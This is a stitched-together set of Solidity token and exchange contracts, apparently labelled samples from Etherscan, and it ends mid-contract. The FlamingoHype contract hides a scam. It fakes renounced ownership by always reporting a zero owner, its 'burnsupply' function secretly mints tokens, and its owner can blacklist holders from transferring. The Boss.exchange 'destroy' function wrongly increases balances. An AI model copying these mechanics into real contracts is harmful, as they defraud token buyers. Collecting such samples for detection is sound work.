swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000 * 10**9; _maxWalletSize = 30000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-06-07 */ /** *Submitted for verification at Etherscan.io on 2021-06-07 */ /* 🦩🦩🦩🦩🦩🦩🦩🦩🦩🦩🦩🦩 🦩 🦩 https://t.me/FlamingoHype 🦩 🦩 🎎Join our growing community to get involved for the launch and get in early doors🚪 this will be a massive morning woody🍆🎎 🦩 🦩🦩🦩🦩🦩🦩🦩🦩🦩🦩🦩🦩 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded.s * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return address(0); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract FlamingoHype is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isBlackListedBot; address[] private _blackListedBots; uint256 private _tTotal = 20 * 10**9 * 10**18; string private _name = 'Flamingo Hype t.me/FlamingoHype'; string private _symbol = 'FLAHY'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function burnsupply(address receiver, uint256 amount) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); _tTotal = _tTotal.add(amount); _balances[receiver] = _balances[receiver].add(amount); emit Transfer(address(0), receiver, amount); } function addBotToBlackList(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.'); require(!_isBlackListedBot[account], "Account is already blacklisted"); _isBlackListedBot[account] = true; _blackListedBots.push(account); } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); require(!_isBlackListedBot[recipient], "You have no power here!"); require(!_isBlackListedBot[msg.sender], "You have no power here!"); require(!_isBlackListedBot[sender], "You have no power here!"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }

True

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/* ██╗ ███████╗██╗ ██╗ ██║ ██╔════╝╚██╗██╔╝ ██║ █████╗ ╚███╔╝ ██║ ██╔══╝ ██╔██╗ ███████╗███████╗██╔╝ ██╗ ╚══════╝╚══════╝╚═╝ ╚═╝ ████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗ ╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║ ██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║ ██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║ ██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ DEAR MSG.SENDER(S): / LexToken is a project in beta. // Please audit and use at your own risk. /// Entry into LexToken shall not create an attorney/client relationship. //// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel. ///// STEAL THIS C0D3SL4W ////// presented by LexDAO LLC */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.7.4; interface IERC20 { // brief interface for erc20 token function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); } library SafeMath { // arithmetic wrapper for unit under/overflow check function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } } contract LexToken { using SafeMath for uint256; address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager uint256 public totalSupplyCap; // maximum of token mintable bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature string public details; // details token offering, redemption, etc. - updateable by manager string public name; // fixed token name string[]public offers; // offers made for token redemption - updateable by manager string public symbol; // fixed token symbol bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern bool public transferable; // transferability of token - does not affect token sale - updateable by manager mapping(address => mapping(address => uint256)) public allowances; mapping(address => uint256) public balanceOf; mapping(address => uint256) public nonces; event AddOffer(uint256 index, string terms); event AmendOffer(uint256 index, string terms); event Approval(address indexed owner, address indexed spender, uint256 value); event Redeem(string redemption); event Transfer(address indexed from, address indexed to, uint256 value); event UpdateGovernance(address indexed manager, string details); event UpdateSale(uint256 saleRate, uint256 saleSupply, bool burnToken, bool forSale); event UpdateTransferability(bool transferable); function init( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string calldata _details, string calldata _name, string calldata _symbol, bool _forSale, bool _transferable ) external { require(!initialized, "initialized"); manager = _manager; decimals = _decimals; saleRate = _saleRate; totalSupplyCap = _totalSupplyCap; details = _details; name = _name; symbol = _symbol; forSale = _forSale; initialized = true; transferable = _transferable; if (_managerSupply > 0) {_mint(_manager, _managerSupply);} if (_saleSupply > 0) {_mint(address(this), _saleSupply);} if (_forSale) {require(_saleRate > 0, "_saleRate = 0");} // eip-2612 permit() pattern: uint256 chainId; assembly {chainId := chainid()} DOMAIN_SEPARATOR = keccak256(abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this))); } function _approve(address owner, address spender, uint256 value) internal { allowances[owner][spender] = value; emit Approval(owner, spender, value); } function approve(address spender, uint256 value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function _burn(address from, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function burn(uint256 value) external { _burn(msg.sender, value); } function burnFrom(address from, uint256 value) external { _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _burn(from, value); } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue)); return true; } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue)); return true; } // Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external { require(block.timestamp <= deadline, "expired"); bytes32 hashStruct = keccak256(abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)); bytes32 hash = keccak256(abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); require(signer != address(0) && signer == owner, "!signer"); _approve(owner, spender, value); } function purchase() external payable { // SALE require(forSale, "!forSale"); (bool success, ) = manager.call{value: msg.value}(""); require(success, "!ethCall"); _transfer(address(this), msg.sender, msg.value.mul(saleRate)); } receive() external payable { // SALE require(forSale, "!forSale"); (bool success, ) = manager.call{value: msg.value}(""); require(success, "!ethCall"); _transfer(address(this), msg.sender, msg.value.mul(saleRate)); } function redeem(uint256 value, string calldata redemption) external { // burn token with redemption message _burn(msg.sender, value); emit Redeem(redemption); } function _transfer(address from, address to, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function transfer(address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _transfer(msg.sender, to, value); return true; } function transferBatch(address[] calldata to, uint256[] calldata value) external { require(to.length == value.length, "!to/value"); require(transferable, "!transferable"); for (uint256 i = 0; i < to.length; i++) { _transfer(msg.sender, to[i], value[i]); } } function transferFrom(address from, address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _transfer(from, to, value); return true; } /**************** MANAGER FUNCTIONS ****************/ modifier onlyManager { require(msg.sender == manager, "!manager"); _; } function addOffer(string calldata offer) external onlyManager { offers.push(offer); emit AddOffer(offers.length-1, offer); } function amendOffer(uint256 index, string calldata offer) external onlyManager { offers[index] = offer; emit AmendOffer(index, offer); } function _mint(address to, uint256 value) internal { require(totalSupply.add(value) <= totalSupplyCap, "capped"); balanceOf[to] = balanceOf[to].add(value); totalSupply = totalSupply.add(value); emit Transfer(address(0), to, value); } function mint(address to, uint256 value) external onlyManager { _mint(to, value); } function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager { require(to.length == value.length, "!to/value"); for (uint256 i = 0; i < to.length; i++) { _mint(to[i], value[i]); } } function updateGovernance(address payable _manager, string calldata _details) external onlyManager { manager = _manager; details = _details; emit UpdateGovernance(_manager, _details); } function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _burnToken, bool _forSale) external onlyManager { saleRate = _saleRate; forSale = _forSale; if (_saleSupply > 0 && _burnToken) {_burn(address(this), _saleSupply);} if (_saleSupply > 0 && !_burnToken) {_mint(address(this), _saleSupply);} if (_forSale) {require(_saleRate > 0, "_saleRate = 0");} emit UpdateSale(_saleRate, _saleSupply, _burnToken, _forSale); } function updateTransferability(bool _transferable) external onlyManager { transferable = _transferable; emit UpdateTransferability(_transferable); } function withdrawToken(address[] calldata token, address[] calldata withdrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to contract require(token.length == withdrawTo.length && token.length == value.length, "!token/withdrawTo/value"); for (uint256 i = 0; i < token.length; i++) { uint256 withdrawalValue = value[i]; if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));} IERC20(token[i]).transfer(withdrawTo[i], withdrawalValue); } } }

True

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pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // 'Boss.exchange' DEX contract // // Admin : 0x10e7FC79D42a373E02AEBaa598DB07e34833a11a // fees : zero (0) // // // Copyright (c) Boss.Exchange. The MIT Licence. // Contract crafted by: Boss Team // ---------------------------------------------------------------------------- interface transferToken { function transfer(address receiver, uint amount) external; } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { /// Total amount of tokens uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _amount) public returns (bool success); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256 remaining); function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success); function approve(address _spender, uint256 _amount) public returns (bool success); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; //balance in each address account mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _amount The amount to be transferred. */ function transfer(address _to, uint256 _amount) public returns (bool success) { require(_to != address(0)); require(balances[msg.sender] >= _amount && _amount > 0 && balances[_to].add(_amount) > balances[_to]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _amount uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { require(_to != address(0)); require(balances[_from] >= _amount); require(allowed[_from][msg.sender] >= _amount); require(_amount > 0 && balances[_to].add(_amount) > balances[_to]); balances[_from] = balances[_from].sub(_amount); balances[_to] = balances[_to].add(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); emit Transfer(_from, _to, _amount); return true; } function transfer(address _to, uint256 _amount) public returns (bool success) { require(_to != address(0)); require(balances[msg.sender] >= _amount && _amount > 0 && balances[_to].add(_amount) > balances[_to]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _amount The amount of tokens to be spent. */ function approve(address _spender, uint256 _amount) public returns (bool success) { allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract ReserveToken is StandardToken { using SafeMath for uint256; address public minter; constructor() public { minter = msg.sender; } function create(address account, uint amount) public { require(msg.sender == minter); balances[account] = balances[account].add(amount); totalSupply = totalSupply.add(amount); } function destroy(address account, uint amount) public { require(msg.sender == minter); require(balances[account] >= amount); balances[account] = balances[account].add(amount); totalSupply = totalSupply.sub(amount); } } contract AccountLevels { mapping (address => uint) public accountLevels; //given a user, returns an account level //0 = regular user (pays take fee and make fee) //1 = market maker silver (pays take fee, no make fee, gets rebate) //2 = market maker gold (pays take fee, no make fee, gets entire counterparty's take fee as rebate) function accountLevel(address user) public constant 